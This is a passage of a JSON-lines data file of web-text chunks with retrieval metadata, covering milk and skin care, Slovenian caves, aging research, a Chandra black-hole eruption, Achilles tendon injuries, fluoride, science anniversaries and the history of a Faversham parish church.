milk have the fat content removed, meaning they lack the skin conditioning properties of whole milk. topical application of milk can lighten skin pigmentation by approximately half a shade. results are temporary and milk must be applied to the skin regularly to maintain the results. skin that has been irritated by sun exposure or by skin conditions such as eczema can be soothed by application of whole milk in the form of a compress. the amino acids found in milk can nourish hair, which is made of protein. in particular, glutamine stimulates hair follicle growth, making milk protein a useful ingredient in hair thickening products. consumption of milk as part of a healthy diet can also improve the condition of the skin. milk is a natural source of vitamin a, which helps to combat the effects of aging by stimulating cell regeneration. milk is also high in zinc, which has been proven to improve the appearance of skin acne in clinical trials. however, in some individuals,", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.49588874343531425, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.510043"} {"text": "is a natural source of vitamin a, which helps to combat the effects of aging by stimulating cell regeneration. milk is also high in zinc, which has been proven to improve the appearance of skin acne in clinical trials. however, in some individuals, milk can exacerbate acne outbreaks. in these cases, consumption of milk should be avoided. the protein content of milk helps to maintain healthy body tissue. as milk can be obtained in low - fat and fat - free versions, it is a healthier source of protein than red meat, which contains saturated fat that can clog the arteries. milk contains amino acids, which are the building blocks of proteins. tryptophan is an amino acid that has been shown to improve wellbeing and mood by stimulating the production of serotonin in the brain. serotonin has a calming and relaxing effect. tryptophan is thought to promote sleep. perhaps this is one reason why warm milk makes an ideal bedtime drink. milk is high in calcium and vitamin d, both of which play a vital role in the development and maintenance of healthy teeth and bones. a range of b vitamins are also found in milk, including thiamine, riboflavin, and vitamin b12. while the majority of milk consumed in developed countries comes from cattle, milk is also produced on a commercial scale from sheep, goats, water buffalo, yaks, donkeys, camels, and reindeer. milk is used to produce dairy products such as yogurt, butter, cream, and cheese. the type of milk used to produce the dairy products can significantly affect their taste and texture. commercially produced milk is pasteurized prior to bottling. the pasteurization process kills bacteria and harmful microorganisms that occur naturally in milk. the pasteurization process reduces the amount of thiamine, vitamin b12, and vitamin c available from milk. milk contains a sugar called lactose, which can trigger symptoms of lactose intolerance. these include diarrhea, flatulence, abdominal bloating and cramping, nausea, and vomiting. individuals with lactose intolerance should avoid consuming milk produced from animal sources. possible alternatives for milk from animal sources are soy milk or rice milk, which do not contain lactose. individuals who experience lactose intolerance when consuming milk should carry out a patch test before using products containing milk.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.466432261002824, "token_count": 491, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.510957"} {"text": "this is one region of slovenia that you cannot get to know merely superficially. literally. the beauties that lie hidden below the surface are even more astonishing than those that you can admire above ground in this undulating, largely forested region. practically every square kilometre conceals one of several thousand karst caves. not far from postojna, the administrative, economic and cultural centre of the region, postojna cave has been attracting visitors into its subterranean passages with their breathtaking rock formations for over a hundred years. a special electric train carries visitors on a tour of around five of the cave ' s total 21 kilometres of passages. the cave is home to the only cave - dwelling vertebrate in europe, a pale - skinned amphibian popularly known as the ' human fish ' ( scientific name : proteus anguinus ). lovers of subterranean wonders will also be charmed by krizna jama, a cave near losko polje, through which you are carried part of the way by boat. the region ' s remarkable natural sights, which are also part of the notranjska regional park, include a tall natural bridge in rakov skocjan. just a few kilometres away is yet another phenomenon of the karst world : an intermittent lake. in the months when it is full of water, lake cerknica is slovenia ' s largest lake. one of the first people in the world to research the phenomenon of the disappearance of the lake ' s water was the famous slovene historian johann weichard valvasor. in his work the glory of the duchy of carniola, published in the late 17th century, valvasor also described an original activity practised by the inhabitants of the bloke plateau which had a significant influence on the later development of skiing as a sport. at that time the plateau - dwellers were the only people in central europe to use skis to walk across snow and zigzag down snow - covered slopes. the notranjska - karst region is an area in which the same river rises to the surface and disappears underground six times, each time with a different name, before finally emerging for the seventh and last time as the ljubljanica. it rises for the first time in babno polje, famous as the place that holds the record for the lowest recorded temperature in slovenia : minus 35 degrees celsius. a prominent feature of the varied and hilly landscape of this region is the karst plateau of sneznik, which is also", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4407713838269376, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.515213"} {"text": "\u00a9 pam fray a statue of old father time in sandringham, norfolk, u. k. getting older : it ' s a common human obsession, from surgery to lift saggy skin to games that promise to keep the brain flexible. in the larger natural world, though, getting older takes many forms - - and scientists are beginning to peer more deeply into the mysterious changes to an organism ' s biology as it ages. any evolutionary biologist will say that senescence - - a rise in mortality and a physical deterioration with age - - is based on the concept of evolutionary fitness, the ability to survive and reproduce. the individuals who reproduce copies of their genes the most win the evolutionary game. if mutations arise that shorten lifespan at older ages, but help younger individuals, those mutations would get passed along. as the theory goes, there should be a whole bunch of mutations that affect later stages in life. \" as humans get older, they are less able to reproduce, \" said shripad tuljapurkar, a biologist at stanford university. \" so the view of senescence is that it should set in at the end of reproduction, but that view doesn ' t work : we clearly have humans living long past menopause, and the question is why. \" for humans, social factors could be involved. after maturity, humans have a steady mortality rate - - about one in 10, 000 per year - - until age 40, when mortality increases exponentially. around 100, 000 years ago, the rate of adult mortality was much higher : about one in 100 per year. some anthropologists and demographers have proposed the grandmother hypothesis to explain human longevity after reproductive fitness ends. the theory goes like this : women may stop reproducing themselves, but they contribute significantly to the survival ability of next generation of women, who in turn can take better care of their grandmothers. there is hardly a formula to follow when it comes to aging. some animals age better than others ; that is, they don ' t seem to get old or feeble. the rougheye rockfish can blow the candles out at 205 years old, giant tortoises live to be 255 years, and the small fresh - water hydra can regenerate cells. in the plant world, things get even stranger : aspen groves - - groups of trees that are clones of one individual - - can be 10, 000 years old, and redwood trees can live 4, 000 years. so if their old age can ' t be detected, are these things really aging", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5297512968352578, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.524602"} {"text": ": aspen groves - - groups of trees that are clones of one individual - - can be 10, 000 years old, and redwood trees can live 4, 000 years. so if their old age can ' t be detected, are these things really aging? the answer is that they probably are, according to university of georgia ecologist richard shefferson \" my own perspective is that nothing escapes aging, but you can keep growing and growing until break - point comes, and that age may be variable and hard to predict, \" said shefferson. \" older plants can respond worse to stress than young ones. my gut feeling is that aging is universal but not clear. \" if genetics carry the code for longevity, then understanding the genome would help researchers understand the process of aging. tuljapurkar wanted to understand how what was special about individuals who lived longer than others. he published a paper in may showing that there is a tremendous amount of variation in the real world. \" if you see people living a long time, chances are that ' s just luck, \" said tuljapurkar. \" the heritability of things like longevity, it ' s really very small. \" for the science of aging, biologists have also looked to telomeres, stretches of dna at the end of chromosomes that protect genetic information. in human blood cells, the length of telomeres starts at 8, 000 base pairs at the beginning of life and slow marches to 3, 000 base pairs as people age and as low as 1, 500 in elderly people. each time a cell divides, an average person loses 30 to 200 base pairs from the ends of that cell ' s telomeres. though shortened telomeres mark a person ' s age and may prevent an individual cell from living forever, no conclusive evidence currently shows that they actively reduce human lifespan or contribute to the overall aging process. outside of humans, biologists are just beginning to understand the mechanisms in which yeast, fungi and plants get old. \" most of what we understand about aging comes from a very small group of organisms, \" said shefferson. \" plants have hardly been explored, fungi almost untouched. what i would hope is that we get people interested in weird bizarre organisms and how the age and if they age. \"", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5157855934262252, "token_count": 464, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.527132"} {"text": "this chandra image shows two vast cavities - each 600, 000 light years in diameter - in the hot, x - ray emitting gas that pervades the galaxy cluster ms 0735. 6 + 7421 ( ms 0735 for short ). click here for a high resolution photograph. astronomers have found the most powerful eruption in the universe using nasa ' s chandra x - ray observatory. a super massive black hole generated this eruption by growing at a remarkable rate. this discovery shows the enormous appetite of large black holes, and the profound impact they have on their surroundings. the huge eruption was seen in a chandra image of the hot, x - ray emitting gas of a galaxy cluster called ms 0735. 6 + 7421. two vast cavities extend away from the super massive black hole in the cluster ' s central galaxy. the eruption, which has lasted for more than 100 million years, has generated the energy equivalent to hundreds of millions of gamma - ray bursts. this event was caused by gravitational energy release, as enormous amounts of matter fell toward a black hole. most of the matter was swallowed, but some of it was violently ejected before being captured by the black hole. \" i was stunned to find that a mass of about 300 million suns was swallowed, \" said brian mcnamara of ohio university in athens. \" this is as large as another super massive black hole. \" he is lead author of the study about the discovery, which is in the january 6, 2005, issue of nature. astronomers are not sure where such large amounts of matter came from. one theory is gas from the host galaxy catastrophically cooled and was swallowed by the black hole. the energy released shows the black hole in ms 0735 has grown dramatically during this eruption. previous studies suggest other large black holes have grown very little in the recent past, and that only smaller black holes are still growing quickly. \" this new result is as surprising as it is exciting, \" said co - author paul nulsen of the harvard - smithsonian center for astrophysics, cambridge, mass. \" this black hole is feasting, when it should be fasting. \" radio emission within the cavities shows jets from the black hole erupted to create the cavities. gas is being pushed away from the black hole at supersonic speeds over a distance of about a million light years. the mass of the displaced gas equals about a trillion suns, more than the mass of all the stars in the milky way. the rapid growth of super massive black holes is usually detected", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.535538268930896, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.537015"} {"text": "at supersonic speeds over a distance of about a million light years. the mass of the displaced gas equals about a trillion suns, more than the mass of all the stars in the milky way. the rapid growth of super massive black holes is usually detected by observing very bright radiation from the centers of galaxies in the optical and x - ray wavebands, or luminous radio jets. in ms 0735 no bright central radiation is found, and the radio jets are faint. the true nature of ms 0735 is only revealed through x - ray observations of the hot cluster gas. \" until now we had no idea this black hole was gorging itself, \" said co - author michael wise of the massachusetts institute of technology in cambridge, mass. \" the discovery of this eruption shows x - ray telescopes are necessary to understand some of the most violent events in the universe. \" the astronomers estimated how much energy was needed to create the cavities by calculating the density, temperature and pressure of the hot gas. by making a standard assumption that 10 percent of the gravitational energy goes into launching the jets, they estimated how much material the black hole swallowed. besides generating the cavities, some of the energy from this eruption should keep the hot gas around the black hole from cooling, and some of it may also generate large - scale magnetic fields in the galaxy cluster. chandra observers have discovered other cavities in galaxy clusters, but this one is easily the largest and the most powerful. nasa ' s marshall space flight center, huntsville, ala., manages the chandra program for nasa ' s space mission directorate, washington. northrop grumman of redondo beach, calif., was the prime development contractor for the observatory. the smithsonian astrophysical observatory controls science and flight operations from the chandra x - ray center in cambridge, mass.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5162657351030444, "token_count": 370, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.537895"} {"text": "the achilles tendon is made up of two major muscles and one insignificant muscle. the two muscles are the soleus, which does not cross the knee and the gastrocnemius which does cross the knee. the distinction is important because most people only stretch the gastrocs ( see the typical runners stretch with the knee straight ). very few people i treat regularly stretch their soleus. the best way to do this is to be on the floor in a sprinters start and you will feel the stretch in back of the calf in the forward leg - this will be the soleus that is stretching. sometime in middle age, around age 35 or so, i often see calf strains. the situation is typically one where the muscle is fatigued, and the person steps backwards, like on a tennis court or basketball court, and they feel like they have been hit or kicked in the back of the leg. typically, it is the medial third of the gastrocs that gets strained. this is a muscle / tendon junction injury and can be easily treated, with a good outcome for return to sport. at other times, the tendon actually ruptures. this can be the same move that causes the muscle strain, but the injury is felt further down, and feels more like a gunshot to the leg. the rupture of the tendon is the last event following many more minor events that lead to the gradual thinning and weakening of the tendon. a rupture such as this requires surgery for repair. then the pt that follows the surgery needs to both restore rom, and also balance as well as explosive strength. for whatever reason, i have several achilles tendon injuries in the clinic at the moment. among my present population is an acute gastroc strain, a very irritated and strained tendon, a recently ruptured and repaired tendon and a tendon that was repaired a long time ago. each of these situations offers lessons for prevention and for recovery. the medial third gastroc strain illustrates the importance of both stretching and hydration. not hydration in therms of how much water you drink, but hydration at a tissue level. more on this later. pre - game stretching will help prevent this injury as will stopping when you have become fatigued before the injury stops you! the pre - failure tendon illustrates the consequence of multiple injuries to the tendon that lead to a thinning of the tendon ( called \u201c necking \u201d in the physiology text books ). the progressive failure of", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.42535974345362004, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.550771"} {"text": "##d before the injury stops you! the pre - failure tendon illustrates the consequence of multiple injuries to the tendon that lead to a thinning of the tendon ( called \u201c necking \u201d in the physiology text books ). the progressive failure of a dense connective tissue goes through several stages before a rupture. one of the last stages before the rupture is this necking stage. if you grab your achilles tendon and pinch it, and it hurts, then damage has occurred in the tendon to the dense connective tissues and you are on the way to further damage that might eventually lead to rupture. the recently repaired tendon needs good rehab to stimulate the best and strongest possible repair. the rehab needs to take into consideration the repair characteristics of the scar that is growing. then the strength needs to be restored. my patient with recently had a repair, for instance, cannot actively recruit the soleus at the moment. this will pass, but we need to pay attention to the restoration of strength as well as to the other issue such as balance and rom before we start thinking about activities like running and certainly before sprinting. the post surgical tendon \u2013 a year or two out, reveals that not enough energy was spent in the rehabilitation cycle. the loss of power of the injured leg has left the leg in a state of sub - optimal performance ability. we now need to help this person build muscle mass and restore the type ii muscle mass especially. i think that the best treatment for the achilles tendon is prevention of injury in the first place. so three things come to mind : - stretch the gastrocs and the soleus - strengthen the two muscles as well. to strengthen the gastrocs, do heel raises with a straight leg. to strengthen the soleus do heel raises with your knees bent. you should do 40 continuous heel raises on both legs with both positions and then do 40 continuous on each leg. - use the stick to work the tissue regularly. finally, a word about water binding in the dense connective tissues. if you are middle aged, you need to take a supplement like cosamin ds or move free that provides molecular support to the production of glucosaminoglycan \u2013 a long mucopolyscharide that binds water in the connective tissues and makes it both more elastic and also tolerant of tensile forces.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4270543950619652, "token_count": 484, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.552866"} {"text": "4 causes program overview the san ramon valley education foundation has identified four major causes to rally around. they are stem ( science, technology, engineering, and mathematics ), literacy, classrooms of the future and professional development. our major gifts and endowment fund raises money to support science and professional development. read with srvef raises money to support literacy and our friends of the foundation annual campaign raises money to support technology to help complete more classrooms of the future at every school in the district. revenue from our remaining fundraisers support stem and our educator grant program, which is has been at the core of our fundraising for the past 30 years. all of the education fund \u2019 s programming is geared toward a common goal : improving student success in san ramon valley public schools. because no single effort can yield the results we seek, the education fund utilizes a multi - faceted approach. our range of programs focuses on : - educators. our programs for educators promote leadership, professional development and collaboration among teachers and help to enhance and enrich their teaching experience. - volunteers. our volunteer program places and supports volunteers directly in schools, drawing on the skills, talents and dedication of community members, local organizations and businesses to meet student and teacher needs. - students. our programs explore problems facing youth today and believe youth are capable leaders who can be effective allies for their peers. - partners. our strategic partnerships leverage the collective resources of the san ramon valley community to provide the greatest opportunities for all students to succeed.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4947106882578578, "token_count": 296, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.556657"} {"text": "10071 north wadsworth parkway | westminster, co 80021 | 303 - 420 - 9720 | serving : arvada, broomfield, thornton, denver area stanley l. jeranko, dds | jeffrey a. stang, dds anthony lere, dds | hadley thurmon, dds 10071 north wadsworth parkway westminster, co 80021 for decades, fluoride has been held in high regard by the dental community as an important mineral that strengthens tooth enamel, which thereby helps to prevent decay of tooth structures. water fluoridation is endorsed by nearly every major health and safety - related organization in the world. communities make it a common practice to \" fluoridate \" their drinking supplies in order for the general population to benefit from this inexpensive and effective preventative treatment. according to the american dental association, more than 144 million u. s. residents in more than 10, 000 communities drink fluoridated water, most from public water supplies with sodium fluoride added artificially. can the consistent use of bottled water result in individuals missing the benefits of optimally fluoridated water? can home water treatment systems ( e. g., water filters ) affect optimally fluoridated water supplies? the answer is yes to both. read how you can avoid some of the pitfalls that may be preventing you from getting the maximum value of fluoride, in this article from the american dental association. the american dental association ` s council on scientific affairs believes that one part of the warning now required on fluoride toothpastes by the food and drug administration ( fda ) could unnecessarily frighten parents and children, and that the label greatly overstates any demonstrated or potential danger posed by fluoride toothpastes. the label language, \" if you accidentally swallow more than used for brushing, seek professional help or contact a poison control center immediately, \" is now required on all fluoride toothpastes. but the ada, in a letter sent to the fda last year, pointed out that a child could not absorb enough fluoride from toothpaste to cause a serious problem and that the excellent safety record on fluoride toothpaste argues against any unnecessary regulation. according to the american academy of pediatric dentistry, a child may face a condition called enamel fluorosis if he or she receives too much fluoride during the years of tooth development. too much fluoride can result in defects in tooth enamel. people", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.47564531818519107, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.564138"} {"text": "2012 sep oct nov dec 2013 jan feb mar apr may jun jul aug 1924 the royal canadian air force is formed. 1960 \u2013 the tiros - 1 satellite transmits the first television picture from space. 1975 after 40 months of construction, the cn tower is completed, becoming the world ' s tallest free - standing structure. 1973 martin cooper of motorola made the first handheld mobile phone call although it took ten years for the dynatac 8000x to become the first such phone to be commercially released. 1969 dr. denton cooley implants the first temporary artificial heart. 1958 ripple rock an underwater threat to navigation in the seymour narrows in canada is destroyed in one of the largest non - nuclear controlled explosions of the time. 1980 post - it notes are introduced world health day national wildlife week - is celebrated during the week that includes 10 april, the birth date of the late jack miner, one of the founders of canada ' s conservation movement. 1959 a team of computer manufacturers, users, and university people led by grace hopper meets to discuss the creation of a new programming language that would be called cobol. 1860 on his phonautograph machine edouard - leon scott de martinville makes the oldest known recording of an audible human voice. 1953 warner brothers premieres the first 3 - d film from a major american studio, entitled house of wax. 1970 apollo 13 is launched from cape canaveral. 1955 the polio vaccine developed by dr. jonas salk is declared safe and effective. 1960 the united states launches transit 1 - b the world ' s first satellite navigation system. 2003 the human genome project is completed with 99 % of the human genome sequenced to an accuracy of 99. 99 %. 1912 titanic sinks off the coast of newfoundland 1999 wayne gretzky announces his retirement 1897 the aurora, texas ufo incident. 1924 simon & schuster publishes the first crossword puzzle book. 1919 leslie irvin of the united states makes the first successful voluntary free - fall parachute jump using a new kind of - self - contained parachute. 1535 \u2013 the sun dog phenomenon observed over stockholm and depicted in the famous painting \" vadersolstavlan \". 1994 the first discoveries of extrasolar planets are announced by astronomer alexander wolszczan earth day - cross - curricular activities and resources 1970 the first earth day is observed world book day 1985 coca - cola changes its formula and releases new coke. 2005 snuppy, the world ' s first cloned dog is born in south korea. 1959 the st. lawrence seaway linking the north american great", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4933738905499212, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.570102"} {"text": "christian worship has been offered in this place since well before the norman conquest, and this church, standing only three hundred yards from watling street at its nearest point to faversham creek, would have been a natural site for a settlement and church at any time after st augustine and his monks came to canterbury the only trace of the saxon building, however, which the normans completely rebuilt, comprises fragments of saxon stonework found during nineteenth century alterations, undated except for part of a doss arm dated to the early eighth century - but it is not known whether this would have been part of a preaching cross on this site pre - dating any church building, or evidence of an actual building already in place. the norman church comprised the middle section of the present nave ( without the side aisles ) and some but probably not all the present chancel. this leaflet documents the principal features of the church ' s development since the conquest. the present appearance of the church owes everything to the evolution over time of a sacred place hallowed by the worship of the centuries, to meet the spiritual and social needs of successive generations. preston, which now forms part of the town of faversham, is a settlement of anglo - saxon origin. preston itself means priest ' s farmstead or manor and from anglo - saxon times to the reformation was actually owned by the monks of christ church cathedral abbey, canterbury. it is referred to in the domesday book of 1086 as prestetone. in 1716, there were but 16 families in the parish. the population was 220 at the time of the first national census in 1801. in 1831 the population was 673. there was a great increase in population after the coming of the railway to faversham in 1858. at the time of the 1871 census, the population stood at 2007. at the present time the population is around 3500. preston church is dedicated to st catherine of alexandria, a virgin martyred at the city in the early fourth century ad. concerning the actual facts of catherine ' s life, very little is known. legend, however, relates that catherine rebuked the emperor maxentius for his tyranny and worsted in debate 50 of that ruler ' s philosophers. her eloquence won over to the cause of christ the emperor ' s wife as well as 200 soldiers. the emperor sentenced catherine to be killed on a spiked wheel. the ropes by which she was bound to the wheel were broken as was the wheel itself, the spikes flying off and killing many onlookers. this", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4216366058444922, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.588135"} {"text": "wife as well as 200 soldiers. the emperor sentenced catherine to be killed on a spiked wheel. the ropes by which she was bound to the wheel were broken as was the wheel itself, the spikes flying off and killing many onlookers. this method of execution having manifestly failed, maxentius had catherine beheaded. st catherine was a focus of intense devotion in the middle ages. she was regarded as the patroness of young women, lawyers, philosophers, preachers, millers and wheelwrights. sir john betjeman in the collin ' s pocket guide to english parish churches has described st catherine ' s as \" high and distinguished among the railways and breweries \". the church has served the needs of both preston and the wider community of faversham since anglo - saxon times. all traces of the saxon church have, however, vanished. * * except for some masonry fragments - mentioned above. - ed. the norman building between 1100 and 1200 consisted of a nave and chancel with no aisle. there was probably a bell turret at the western end of the nave. in the thirteenth century additions were made to the simple plan of the church. lancet windows were placed in the north and south walls and a tower was built on the south of the nave. the south wall was pierced with two arches and the south aisle, which now contains the lady chapel, was added. the northern wall of the church stood until it was pulled down in the restoration work of the 1860 ' s. the southern wall of the norman church had disappeared earlier in 1855 when the south arcade was inserted. the present chancel, which was lengthened, is thought to be the work of john peckham, who was archbishop of canterbury from 12 ' 19 to 1292. windows were put into the north wall at this time. the first recorded incumbent dates from this time. he was walter de plesiaco, rector, who appointed richard de trenge as vicar in 1284. until the nineteenth century, no great architectural changes were carried out to the church. a notable eighteenth - century benefactor, however, was george sykes, vicar from 1715 to 1766. you will notice that his memorial tablet is in the nave, and not the chancel because the dean and chapter of canterbury cathedral are lay rectors of the parish and the chancel belongs to them. james peto, who was vicar of preston from 183 - 7 to 1878, presided over extensive restoration works carried out to the church ; the construction of the south arcade in place of the thick norman arches was carried out", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.39712597780236947, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.589129"} {"text": "and the chancel belongs to them. james peto, who was vicar of preston from 183 - 7 to 1878, presided over extensive restoration works carried out to the church ; the construction of the south arcade in place of the thick norman arches was carried out thus opening up the south aisle. the architect responsible for these works, carried out in 1853 - 5, was r c hussey. also, around this time, mr austin, the architect of the dean and chapter of canterbury, designed the present east window and restored the sedilia. the east window was, in fact, originally meant for canterbury cathedral. ( the signatures of restorers in 1912 & 1999 as well as of the original installers in 1854 are inscribed on seven lenses in the bottom right - hand side. a photograph of these is on display under the organ loft. - ed. ) in 1867 the church was enlarged by the building of the north aisle and porch and an arcade to match the one in the south was constructed. the spire also dates from this time. these important works were carried out, much money has been spent on the building, some \u00a390, 000 between 1981 - 91 alone. before entering the worthwhile part of the chancel, considered by pevsner to be the most worthwhile part of the church, you will observe, affixed to the chancel arch the figure of our lori on the cross, with the blessed virgin mary and st john beside him. this was erected in 1947 in memory of john hankins martin, incumbent from 1912 to 1938. the words on the \u2018 rood screen \u2019 are from revelation 22. 2. reforming zeal at the time of the reformation, and under the puritans, left its mark on all medieval churches. on either side of the arch the beam ends can be seen, that once supported a rood loft. access was by way of a doorway, the portico of which can be identified in the south wall. the fifteenth century choir stalls, with their poppyhead carvings, are of some interest. a close observation of those on the north side of the chancel will convince the visitor that the inscribing of graffiti on surface is not a twentieth - century phenomenon! carved panels of c15 / c16 choir stalls in the chancel in the northern wall of the chancel, just beyond the choir stalls, is a canopied tomb in the decorated style, which may have been, used as an easter sepulchre. in the southern wall of the chancel is a memorial tablet of some poignancy.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.35015696789561535, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.590118"} {"text": "chancel, just beyond the choir stalls, is a canopied tomb in the decorated style, which may have been, used as an easter sepulchre. in the southern wall of the chancel is a memorial tablet of some poignancy. the tablet refers to mrs silvester borough, the eldest daughter of robert derre of derrehill who ; journeying from london to her own house in thanet, fell into \" untimely travail \" in ospringe, and there being delivered of two children, together with them died on 18 may 1609, aged 27. also on this wall is the first of a sequence of 15 stations of the cross. these portray the passion of our lord. the fifteenth station, which you see on the wall opposite, represents christ in glory. the stations were given in memory of john mount elliott, who died on 27 october 1981. there are two memorial brasses on the chancel floor, just short of the sanctuary. the brass on the north side is of valentine and cecilia baret of perry court. he died on 20 november 1440 and she. on i1 march 1442. she was a daughter of marcellus at lese, of sheldwich. they had no sons ; perry court, which had belonged to the barets for about a hundred years, passed into the hands of the darrel ( or darell ) family of colehill. the barets ' only daughter joanne married john darrel. the brass on the south side is of william mareys, courtier and squire of henry v, the victor of agincourt. his \" fantastic armour work \" as arthur mee described it, incorporates the latest technology of the day, including some elbow buckles. william, who later married joan, the widow of thomas bromston, the owner of macknade manor, was later a member of the household of cardinal beaufort, son of john of gaunt, \" time honoured lancaster \", several times lord chancellor of england. william died on 31 august 1459. the words issuing from william ' s lips are : \" i will sing the mercies of the lord for ever \". on the stone slab the words \" mercy jesu \" are twice repeated. in the sanctuary is the impressive marble tomb erected in 1629 by richard boyle, first earl of cork 1566 - 1643 ), in memory of his parents, roger and joan ( nee naylor ). they are the recumbent figures on the tomb ; they lived in preston parish until their respective deaths", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.38057107020127573, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.591058"} {"text": "1629 by richard boyle, first earl of cork 1566 - 1643 ), in memory of his parents, roger and joan ( nee naylor ). they are the recumbent figures on the tomb ; they lived in preston parish until their respective deaths in 1576 and 1586. the eldest son, john, is depicted kneeling at the feet of his parents : john became bishop of cork in 1618, dying in 1620. richard himself is depicted kneeling at his parents ' head, facing eastwards. kneeling at the side of tomb are depicted the three remaining children of roger and joan. hugh, their third son, killed in wars abroad, is joined by elizabeth, the eldest daughter, wife of piers power, and mary, wife of sir richard smyth. richard made his money mainly by buying all sir walter raleigh ' s confiscated estates and developing them. he had 12 children ; the eldest inherited his title as earl of cork ( to which was added that of burlington, so preston can claim a link with the fashionable burlington arcade of piccadilly ). after two more generations, that family became extinct since the fourth earl had only two daughters, one of whom married lord hartington, later duke of devonshire ( so that the boyle estates in ireland went to that family ). the other married lord euston, son of the duke of grafton, who is reputed to have murdered her. the fifth son of richard, who erected this monument, was robert boyle ( 1627. 1691 ), philosopher and scientist. robert formulated the scientific law, known as boyle ' s law, that the volume of a given mass of gas varies inversely as the pressure, if the temperature remains constant. he was a founder of the royal society and founded a lectureship in defence of christianity. the monument, having fallen into a sad state of decay, was restored during the ministry of noel brownsell ( 1938 - 1951 ). more recently, work to the tomb has been carried out and funded by the duke of devonshire. on the south side of the sanctuary, on the epistle side of the altar, are the sedilia ( three seats for ministers at the eucharist, still used today ) and a piscina ( a small basin, set in the wall, for the. priest to wash his fingers during the offertory ) beside them. both sedilia and piscina are in the decorated style and date from about 1315. when the sedilia were restored in 1877 the three pinnacles were added and not copied. the faces", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4356132917036295, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.591996"} {"text": "fingers during the offertory ) beside them. both sedilia and piscina are in the decorated style and date from about 1315. when the sedilia were restored in 1877 the three pinnacles were added and not copied. the faces on the bar parallel with the piscina are original ; the features have power and character. there is some similarity between these and thirteenth century works in westminster abbey. cleaning and conservation work were carried out in 1990 with the help of a pilgrim trust grant. the high altar and reredos were dedicated in 1947 as a memorial to a former vicar john hankins martin. the hanging pyx ( in which the blessed sacrament is reserved ), adapted from an edwardian sanctuary lamp, was designed by leslie durbin, who also designed the scottish and welsh \u00a31 coins. the pyx was given in memory of peter head, who died in december 1978. of the chancel windows, the great east window by george austin, has received favourable comment by pevsner. the stained glass in the south chancel windows was installed in 1879 and is the work of messrs clayton and bell. the only ancient glass is to be found in the north east windows, behind the boyle monument, which includes a fine thirteenth century grisaille ( monochromatic stained glass in shades of grey ) roundel. the nave with both sets of arcades dates from james peto ' s incumbency in the nineteenth century. the western door and the three light windows over it are in perpendicular style. an interesting memorial to john finch of preston, esq. lies inside the west door. he died on ` the feast of st peter & st paul 1669 '. the present nave altar was established in 1985 as a memorial to kenneth harman warner, former bishop of edinburgh, tom harris, former churchwarden and vernon allen, priest, who had all been regular worshippers at this church. the fine lectern was dedicated in memory of william carus - wilson ( vicar 1894 - 1911 ) by parishioners and friends. look up to the barrel vaulting of the nave roof and notice the embosses of a nun and a monk on the arches of the south aisle. one of the tombstones in the nave floor is inscribed in latin and bears the coat of arms of charles hulse, gentlemen, who died on 17 october 1678, aged 54 years. south aisle ( lady chapel ) the south aisle is in the early decorated style. in 1947, it was dedicated 